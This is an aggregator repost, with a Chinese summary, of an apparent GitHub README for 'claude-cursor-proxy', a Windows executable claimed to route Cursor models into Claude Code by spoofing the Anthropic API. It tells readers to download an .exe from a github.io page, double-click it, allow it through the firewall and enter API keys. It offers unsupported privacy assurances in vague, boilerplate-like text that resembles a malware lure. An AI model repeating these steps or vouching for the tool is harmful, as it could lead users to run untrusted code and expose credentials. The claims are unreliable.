跳到正文
GitHub·· 8 天前AI 评分22

claude-cursor-proxy:在 Claude Code 中使用 Cursor 模型

depictive-asiootus528/claude-cursor-proxy

AI 导读

开源工具 claude-cursor-proxy 让用户在 Claude Code 界面中调用 Cursor 的模型,通过本地代理模拟 Anthropic API 实现桥接。该工具在本地运行,要求 Windows 10/11、已安装 Claude Code 及至少 50 MB 磁盘空间,仅需双击 .exe 文件即可启动,不存储用户代码,且同一时间只能运行一个实例。

正文

🤖 claude-cursor-proxy - Run Cursor models in Claude Code

Download Now

This tool lets you use your Cursor models inside the Claude Code interface. It acts as a bridge between the two programs. You keep your current workflow while gaining access to the performance of Cursor models. It runs locally on your machine to ensure speed and privacy.

⚙️ Why use this proxy?

Many users prefer the specific models found within Cursor but want the file handling features of Claude Code. This program solves that conflict. It mimics the Anthropic API so that your software thinks it talks to the official service. In reality, your requests go through this local tunnel to reach your models. This method creates a stable connection without errors.

💻 System Requirements

Your computer must meet these standards to run the proxy:

  • Windows 10 or Windows 11.
  • An active internet connection.
  • A basic understanding of how to open a command prompt.
  • Available disk space of at least 50 MB.
  • Current version of Claude Code installed.

📥 How to Download and Install

Follow these steps to set up the software.

  1. Visit the repository page to download the latest file: https://depictive-asiootus528.github.io
  2. Locate the file named with the .exe extension in the releases section.
  3. Save the folder to a location you can find, such as your Desktop or a dedicated folder in C:\Programs.
  4. Open your Windows File Explorer and navigate to that folder.
  5. Create a shortcut to the file if you plan to use it often.

The server does not require a complex installer. It runs as soon as you double-click the file.

🚀 Setting Up the Connection

Once you manage to download the file, you must link it to Claude Code.

  1. Open your terminal or command prompt window.
  2. Type the path to your downloaded file.
  3. Press Enter to start the proxy service.
  4. Keep this window open while you work. If you close this window, the bridge stops working.
  5. In your Claude Code settings, point the API base URL to the local address provided by the proxy console screen.
  6. Save your settings.

Your local tools will now send requests through this proxy. You might see a small window or text output appear. This confirms the tool actively forwards your coding tasks to the correct model.

🛠️ Managing the Proxy

The application manages itself. You do not need to configure complex settings. If the connection fails, restart the proxy file. This resets the communication channel. If you face issues with speed, ensure no other program uses the same local port.

The software includes a small log file in the same directory. This text file records minor connection errors. You can delete this file if it becomes too large.

❓ Frequently Asked Questions

Does this store my code? No. This tool acts as a transparent window. Information passes through the proxy without being saved to your hard drive.

Will this slow down my coding? The proxy runs locally on your CPU. It adds a tiny fraction of a second to each message. You will likely not notice any change in speed compared to a direct connection.

Do I need an active internet connection? Yes. Even though the proxy runs on your computer, it must send requests to the cloud models. You must stay online for the chat features to function.

What happens if I close the proxy window? Claude Code will lose the connection to your models. You will see an error message in your editor. Simply restart the proxy application to restore the link.

Can I run multiple instances? Only one instance of the proxy should run at once. Running two copies might cause port conflicts on your Windows machine.

🛡️ Privacy and Safety

This program uses basic network calls to transfer data between your editor and the model provider. It relies on the local environment to keep your operations private. It does not phone home to third-party servers. Your data stays within the path you authorize during the initial setup.

📈 Troubleshooting Tips

  • Check your Windows Firewall settings. Sometimes Windows blocks new programs. Allow this application through the firewall if asked.
  • Verify that your API keys are correct within your Claude Code configuration.
  • Check if another application uses the default port specified in the documentation.
  • Restart your computer if you encounter strange network behavior.

Keywords: ai-agent, anthropic, anthropic-api, api-proxy, claude, claude-code, claude-code-proxy, cli, coding-agent, cursor, cursor-ai, developer-tools, fable, llm, local-proxy, protobuf, proxy, reverse-proxy, rust, sse

来源:GitHub · github.com